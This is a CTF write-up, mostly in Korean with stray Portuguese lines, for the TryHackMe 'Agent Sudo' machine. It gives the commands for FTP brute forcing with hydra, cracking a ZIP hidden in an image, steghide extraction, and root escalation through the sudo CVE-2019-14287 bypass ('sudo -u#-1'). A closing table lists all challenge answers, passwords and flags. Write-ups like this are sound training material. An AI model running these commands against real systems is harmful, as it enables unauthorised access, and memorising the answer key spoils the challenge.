
Sudo Agent CTF(TryHackMe) 문제 풀이로, 열거, 웹 익스플로잇, 스테가노그래피, SSH, 그리고 CVE-2019-14287을 통한 권한 상승을 다룹니다.

Sudo Agent CTF(TryHackMe)의 Write-up으로, 열거, 웹 익스플로잇, 스테가노그래피, SSH 및 CVE-2019-14287을 통한 권한 상승을 다룹니다.
| 항목 | 정보 |
|---|---|
| 플랫폼 | TryHackMe |
| 시스템 | Linux |
| 난이도 | Easy |
| 목표 | 웹 익스플로잇, FTP, SSH, 스테가노그래피 및 권한 상승 |
| CVE | CVE-2019-14287 |
| 상태 | Completed ✅ |
Reconhecimento
↓
Enumeração Web
↓
User-Agent
↓
FTP
↓
Análise de arquivos
↓
Esteganografia
↓
Credenciais
↓
SSH
↓
Privilege Escalation
↓
CVE-2019-14287
↓
Root 👑
Nmap
Hydra
User-Agent Switcher
FTP
Binwalk
John the Ripper
7-Zip
Steghide
SSH
Linux Commands
Browser
정찰 단계의 첫 번째 단계는 열린 포트를 식별하는 것이었습니다. nmap으로 포트 스캔을 수행했습니다:
nmap -sV -sC sudoagent
21/tcp open ftp
22/tcp open ssh
80/tcp open http
웹 애플리케이션을 분석하던 중 다음과 같은 메시지를 발견했습니다:
웹 애플리케이션은 Agent R의 메시지를 표시하며 접근이 특정 User-Agent에 의존한다고 알려주었습니다.
User-Agent switcher를 사용하여 User-Agent를 REDACTED로 변경하자 다음과 같은 메시지를 확인할 수 있었습니다:
이 메시지는 에이전트 중 한 명에 대한 정보를 드러내며 해당 에이전트의 비밀번호가 취약하다고 알려주었습니다.
발견한 사용자와 비밀번호가 취약하다는 사실을 바탕으로 hydra를 사용하여 브루트 포스를 수행했습니다:
hydra -l user -P /usr/share/wordlists/rockyou.txt ftp://sudoagent/
hydra가 agentC의 비밀번호를 성공적으로 반환했습니다!
[21][ftp] host: sudoagent login: c$$$$ password: REDACTED
획득한 자격 증명으로 FTP 서비스에 접근할 수 있었다.
FTP에서 텍스트 파일과 이미지가 발견되었다.
-rw-r--r-- 1 0 0 217 Oct 29 2019 To_agentJ.txt
-rw-r--r-- 1 0 0 33143 Oct 29 2019 cute-alien.jpg
-rw-r--r-- 1 0 0 34842 Oct 29 2019 cutie.png
Fiz o download dos arquivos para analisá-los.
To_agentJ.txt 텍스트 파일의 내용을 확인하며 분석을 시작했습니다:
cat To_agentJ.txt
Dear agent J,
All these alien like photos are fake! Agent R stored the real picture inside your directory. Your login password is somehow stored in the fake picture. It shouldn't be a problem for you.
From,
Agent C
해당 파일은 agent C가 agent J에게 보낸 메시지입니다. 이미지 파일 중 하나에 숨겨진 자격 증명이 존재한다는 것을 발견했습니다.
Binwalk 도구를 사용하여 cutie.png 파일에 암호화된 ZIP 파일이 포함되어 있음을 확인했으며, 그 내용은 To_agentR.txt 파일이었습니다.
binwalk cutie.png
34562 0x8702 Zip archive data, encrypted compressed size: 98, uncompressed size: 86, name: To_agentR.txt
34820 0x8804 End of Zip archive, footer length: 22
파일을 읽으려면 먼저 파일을 추출하고 비밀번호를 알아내야 합니다. 파일 추출을 수행했습니다:
dd if=cutie.png of=arquivo.zip bs=1 skip=34562
Binwalk는 ZIP 파일이 오프셋 34562에서 시작한다고 표시했습니다. 이 값을 사용하여 해당 지점부터 추출하여 ZIP 파일을 별도로 생성했습니다.
그리고 해시 추출:
zip2john *.zip > hash.txt
이제 John The Ripper의 도움으로 비밀번호를 알아내 보겠습니다:
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
REDACTED (arquivo.zip/To_agentR.txt)
압축을 해제한 후 찾은 비밀번호를 사용했습니다:
cat To_agentR.txt
Agent C,
We need to send the picture to 'QXJlYTUx' as soon as possible!
By,
Agent R
base64로 인코딩된 코드가 있어서 이를 디코딩해야 합니다
echo "QXJlYTUx" | base64 -d
REDACTED
스테가노그래피에 사용된 비밀번호를 획득한 후, Steghide를 사용하여 cute-alien.jpg 이미지에 숨겨진 메시지를 추출했습니다.
steghide extract -sf cute-alien.jpg
Enter passphrase:
wrote extracted data to "message.txt"
디코딩된 메시지가 message.txt 파일로 전송되었습니다
cat message.txt
Hi j$$$$,
Glad you find this message. Your login password is REDACTED!
Don't ask me why the password look cheesy, ask agent R who set this password for you.
Your buddy,
c$$$$
A mensagem trouxe o nome do agent J e sua senha.
Utilizei as credenciais do agent J para realizar acesso via SSH. Após o acesso bem-sucedido, localizei o arquivo chamado user_flag.txt e um outro arquivo de imagem.
ls
Alien_autospy.jpg user_flag.txt
SSH를 통해 접근 권한을 얻은 후, Alien_autospy.jpg 파일을 발견했습니다.
이미지를 분석한 뒤, OSINT 기법을 활용하여 사진의 출처와 맥락을 식별했습니다.
공개 출처 검색을 통해 해당 이미지를 사건과 연관 지을 수 있었습니다.

권한 상승을 시도하기 전에, 현재 사용자의 sudo 권한을 확인했습니다:
sudo -l
Matching Defaults entries for j$$$$ on agent-sudo:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User j$$$$ may run the following commands on agent-sudo:
(ALL, !root) /bin/bash
sudo -l에서 제시된 구성은 CVE-2019-14287에 취약했습니다.
이 취약점은 -1과 같은 특수 UID를 사용하여 sudo의 특정 실행 제한을 우회할 수 있게 하며, 취약한 버전에서는 이 UID가 root 사용자와 동등하게 해석될 수 있습니다.
사용자를 -1로 지정하여 권한 상승이 가능했습니다:
sudo -u#-1 /bin/bash
root@agent-sudo:~#
명령은 root 권한을 가진 셸을 획득했습니다.
획득한 권한을 악용하여 root 폴더로 이동했고, root.txt 파일에 접근하여 마지막 두 개의 flag를 발견했습니다:
cat root.txt
To Mr.hacker,
Congratulation on rooting this box. This box was designed for TryHackMe. Tips, always update your machine.
Your flag is
REDACTED
By,
REDACTED a.k.a Agent R
| 취약점 / 기법 | 발생한 일 | 영향 |
|---|---|---|
| User-Agent 조작 | 애플리케이션이 페이지 접근을 제어하기 위해 User-Agent를 사용했다. | 일반적인 탐색으로는 접근할 수 없는 콘텐츠에 접근할 수 있게 했다. |
| 취약한 자격 증명 | 한 사용자가 취약하고 예측 가능한 비밀번호를 가지고 있었다. | FTP에 대한 무차별 대입 공격으로 비밀번호를 알아낼 수 있게 했다. |
| 이미지에 숨겨진 ZIP 파일 | 한 이미지에 암호화된 ZIP 파일이 내장되어 있었다. | 추가 정보를 얻고 공격 체인을 진행할 수 있게 했다. |
| 스테가노그래피 | 자격 증명이 담긴 메시지가 이미지에 숨겨져 있었다. | SSH 접근에 사용된 비밀번호를 복구할 수 있게 했다. |
| CVE-2019-14287 (Sudo) | sudo가 UID -1 처리에서 취약점을 가지고 있었다. | 실행 제한을 우회하고 root 권한을 획득할 수 있게 했다. |
| # | 질문 | 답변 |
|---|---|---|
| 1 | 열려 있는 포트는 몇 개인가? | 3 |
| 2 | 비밀 페이지로 어떻게 리다이렉트하는가? | User-Agent |
| 3 | 에이전트 이름은 무엇인가? | Chris |
| 4 | FTP 비밀번호 | crystal |
| 5 | Zip 파일 비밀번호 | alien |
| 6 | steg 비밀번호 | Area51 |
| 7 | 다른 에이전트는 누구인가 (전체 이름)? | james |
| 8 | SSH 비밀번호 | hackerrules! |
| 9 | 사용자 플래그는 무엇인가? | b03d975e8c92a7c04146cfa7a5a313c7 |
| 10 | 그 사진의 사건은 무엇이라고 불리는가? | Roswell alien autopsy |
| 11 | 권한 상승에 대한 CVE 번호 | CVE-2019-14287 |
| 12 | 루트 플래그는 무엇인가? | b53a02f55b57d4439e3341834d70c062 |
| ⭐ | 보너스 — 에이전트 R은 누구인가? | DesKel |
Sudo Agent CTF는 간단한 정보 수집 단계에서 시작하여 점진적으로 root 권한 획득에 이르는 공격 체인을 제시했다.
공격은 서비스 열거, User-Agent 조작, 취약한 자격 증명 발견, 파일 분석 및 스테가노그래피, SSH 접근, 권한 상승을 포함했다.
이 머신의 핵심 포인트는 공격 중 얻은 각 정보가 다음 단계의 출발점이 된다는 점을 깨닫는 것이었다. FTP에 대한 초기 접근을 통해 사용 가능한 파일을 분석하고, 숨겨진 정보를 복구하며, SSH를 통해 시스템에 접근하는 데 필요한 자격 증명을 얻을 수 있었다.
일반 사용자로 접근한 후, sudo 권한 분석을 통해 CVE-2019-14287과 관련된 취약한 설정이 드러났으며, 이를 통해 실행 제한을 우회하고 root 권한의 셸을 얻을 수 있었다.
이 CTF는 신중한 열거와 발견된 정보의 연계의 중요성을 강조했으며, 취약한 자격 증명, 숨겨진 정보, 오래된 소프트웨어가 어떻게 결합되어 시스템을 완전히 장악할 수 있는지 보여주었다.
상태: Machine Pwned ✅👽